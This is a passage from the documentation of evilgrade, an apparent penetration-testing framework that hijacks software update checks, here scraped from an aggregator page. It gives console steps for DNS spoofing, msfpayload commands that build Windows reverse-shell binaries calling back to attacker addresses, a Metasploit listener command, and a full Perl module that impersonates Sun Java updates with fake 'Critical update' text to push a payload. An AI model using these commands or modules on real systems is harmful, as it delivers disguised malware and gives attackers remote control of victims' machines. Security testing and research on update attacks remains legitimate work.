    | debug | 0 | Debug mode |
    | port | 80 | Webserver listening port |
    | sslport | 443 | Webserver SSL listening port |
    '-------------+-----------+---------------------------------------------------------'

    ###Let's enable DEBUG option and set as DNSAnswerIp our Inet address (192.168.1.4)

    evilgrade>set debug 1 #Enable debug
    set debug, 1

    evilgrade>set DNSAnswerIp 192.168.1.4 #Ip where evilgrade's DNS Server is listening
    set DNSAnswerIp, 192.168.1.4

    evilgrade>show options

    Display options:
    ===============

    .-------------------------------------------------------------------------------------.
    | Name | Default | Description |
    +-------------+-------------+---------------------------------------------------------+
    | DNSEnable | 1 | Enable DNS Server ( handle virtual request on modules ) |
    | DNSAnswerIp | 192.168.1.4 | Resolve VHost to ip ) |
    | DNSPort | 53 | Listen Name Server port |
    | debug | 1 | Debug mode |
    | port | 80 | Webserver listening port |
    | sslport | 443 | Webserver SSL listening port |
    '-------------+-------------+---------------------------------------------------------'


    ###############################

    exit - exits the program

    #######################################

    help - prints this screen, or help on 'command'

    #######################################

    ADVANCED
    • Modules Options: Each module has special options, but the "agent" field is always present. The agent is our fake update binary, we have to set the path to where it's located or implement a dynamic fake update binary generation.
    [Dynamic fake update binary] allows the execution of an external command to generate our binary, for example using msfpayload of metasploit framework. With this feature we can generate any payload of metasploit or use an external interface to create the binary.

    Example 1:
    evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
    In this case for every required update binary we generate a fake update binary with the payload "windows/shell_reverse_tcp" using a reverse shell to connect at address 192.168.233.2 port 4141. The label <%OUT%><%OUT> is a special tag to detect where the output binary is going to be generated. Evilgrade detects the usage of "dynamic fake update binary feature" due to having a sentence between squared brackets '[]' Inside that brackets we have a string that is also between brackets "" that is compiled using perl.
    For example if we use:
    evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
    then every time we get a binary request, evilgrade will compile the line and execute the final string "./generatebin -o /tmp/update(random).exe" generating different agents.
    An easy alternative, but not dynamically, could be to generate the payload directly from msfpayload on a terminal and assign it manually to the configuration of the module.

    Example 2:
    (Outside evilgrade)
    [team@infobyte]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
    (Inside evilgrade)
    evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
    After our payload was generated, we leave a multi handler listening on the previously assigned LHOST.
    (Outside evilgrade)
    [team@infobyte]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
    [*] Started reverse handler on 192.168.100.2:4444
    [*] Starting the payload handler...

    MODULE DEVELOPMENT
    Module development is very simple. Since evilgrade is based on modules, you just have to use a package .pm (perl module). In this case we are going to describe the sunjava update module (comments with #):
    package modules::sunjava;

    use strict;
    use Data::Dump qw(dump);

    my $base=
    {
    'name' => 'Sun Microsystems Java', #name of the module to display in the framework
    'version' => '2.0', #internal module version
    'appver' => '<= 1.6.0_22', #last application version tested with this evilgrade module
    'author' => [ 'Francisco Amato < famato +[AT]+ infobytesec.com>' ], #author
    'description' => qq{}, #brief description
    'vh' => '(java.sun.com|javadl-esd.sun.com)', #VirtualHosts that the application uses to retrieve information about the update configuration files and update binaries.

    #Then we have the request object's collection
    'request' => [
    #Each object it's a possible HTTP request inside the virtualhost configured for the module (java.sun.com)
    {
    'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', #The required URL, regex friendly
    'type' => 'file', #it's the response type (file|string|agent|install)
    #we can use:
    #file: response with content file referenced in the "file" option below (./include/sunjava_map.xml)
    #string: response with a string referenced in the "string" options below
    #agent: response with content file referenced in the "agent" options (options section)
    #install: response with content file referenced in the "file" option below
    #It's used to know if the fake update was executed
    #In some update process we can specify a final page after update installed
    #so we send to a controller page.
    'method' => '', #not implemented yet
    'bin' => '', #set to 1 if we are going to send a binary file
    'string' => '', #if we have chosen the 'type' string then in this variable we set the response
    'parse' => '', #set to 1 if the file or string need be parsed with options
    'file' => './include/sunjava/sunjava_map.xml'
    },

    {
    'req' => '^/java_update.xml$', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin' => '',
    'string' => '',
    'parse' => '1',
    'file' => './include/sunjava/sunjava_update.xml'
    },
    {
    'req' => '/x.jnlp', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin' => '',
    'string' => '',
    #In this case we parse the file
    'parse' => '1',
    #To parse the file we use special tags, like <%OPTIONAME%> inside the "file" or "string" field
    #This tags are replaced with the values of the options, for example
    #<%TITLE%> will be replaced by 'Critical update'
    'file' => './include/sunjava/x.jnlp'
    },
    {
    'req' => '.jar', #regex friendly
    'type' => 'file', #file|string|agent|install
    'method' => '', #any
    'bin' => 1,
    'string' => '',
    'parse' => '',
    'file' => './include/sunjava/JavaPayload/FunnyClass2.jar'
    },

    {
    'req' => '.exe', #regex friendly
    'type' => 'agent', #Here we have an agent type with a binary response
    'bin' => 1,
    'method' => '', #any
    'string' => '',
    'parse' => '',
    'file' => ''
    }
    ],

    #Options
    #Here we have the options that will be displayed with "show options" inside the current module.
    #This options are used to parse the string or a file using in the responses
    'options' => { 'agent' => { 'val' => './agent/java/javaws.exe', #The default value
    'desc' => 'Agent to inject'}, #Brief description
    'arg' => { 'val' => 'http://java.sun.com/x.jnlp"',
    'desc' => 'Arg passed to Agent'},
    'enable' => { 'val' => 1,
    'desc' => 'Status'},

    #The following is a dynamic hidden option,
    #In this case we use the tag <%NAME%> to parse the files and execute perl functions to get randoms values
    #You can use whatever you like in perl, if you're wishing to use more functions check "isrcore/utils.pm"
    'name' => { 'val' => "'javaupdate'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1))",
    'hidden' => 1,
    'dynamic' =>1,},

    #All the options depend on the update process. You have to research the possible variables and implement them on your module
    #These are the mostly common update messages, webpages, descriptions, popup messages, title, etc
    'title' => { 'val' => 'Critical update',
    'desc' => 'Title name displayed in the update'},
    'description' => { 'val' => 'This critical update fix internal vulnerability',
    'desc' => 'Description to be displayed during the update'},
    'atitle' => { 'val' => 'Critical vulnerability',
    'desc' => 'Title name to be displayed in the systray item popup'},
    'adescription' => { 'val' => 'This critical update fix internal vulnerability',
    'desc' => 'Description to be displayed in the systray item popup'},
    'website' => { 'val' => 'http://java.com/moreinfolink',
    'desc' => 'Website displayed in the update'}
    }
    };

    .:: [TIPS] ::.
    1. Don't forget to run evilgrade with an user that has privileges to create listening sockets, otherwise you won't be able to use evilgrade's Services.
    2. Everytime you modify a module with evilgrade running don't forget to 'reload' them.
    3. Set the binary 'agents' before starting services because there are some fields that evilgrade will fill out for you (agentmd5, agentsha256, and agentsize) that can't be done with them already running.
    4. If you're using a dynamic response with variables such as: <%AGENTSIZE%>, <%AGENTMD5%>, <%URL_FILE%>, <%URL_FILE_EXT%>, or custom ones defined at the options section, don't forget to set parse on 1.
    5. Same goes for injecting an agent, you must enable de bin flag on 1.
    6. If you want to make plaintext responses using HTTP use the cheader flag. Example below:
            {   'req' => '/sitepath/download/file.zip'
    , #regex friendly
    'type' => 'string', #file|string|agent|install
    'method' => '', #any
    'bin' => '',
    'string' => '',
    'parse' => '1',
    'file' => '',
    'cheader' => "HTTP/1.1 302 Found\r\n"
    . "Location: http://sitedomain.com/<%URL_FILE%>.exe \r\n"
    . "Content-Length: 0 \r\n"
    . "Connection: close \r\n\r\n",
    },

    7) To filter via User-Agent, use as an example the Sparkle2 module. In base add 'useragent' => 'true', and on a request use as you would use the 'req' field but for user agents in 'useragent'. Note that this field already stripped "User-Agent: ".

    REQUIREMENTS

    Perl Modules
        Data::Dump
    Digest::MD5
    Time::HiRes
    RPC::XML

    INSTALL
    sudo apt install cpanminus
    sudo cpanm Data::Dump Digest::MD5 Time::HiRes RPC::XML
    git clone https://github.com/infobyte/evilgrade
    cd evilgrade
    ./evilgrade


    MORE INFORMATION
    This framework was presented in the following security conferences:
    · ekoparty 2007 [Buenos Aires, Argentina] [www.ekoparty.org]
    · Troopers 2008 [Munich, Germany] [www.troopers08.org]
    · Shakacon 2008 [Hawaii, USA] [www.shakacon.org]
    · H2HC 2009 [Brazil] [www.h2hc.com.br]
    · Blackhat Arsenal & Defcon 2010 [Las Vegas, USA] [www.blackhat.com www.defcon.org]

    AUTHOR
    Francisco Amato famato+at+infobytesec+dot+com


    Viewing all 5854 articles
    Browse latest View live


    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>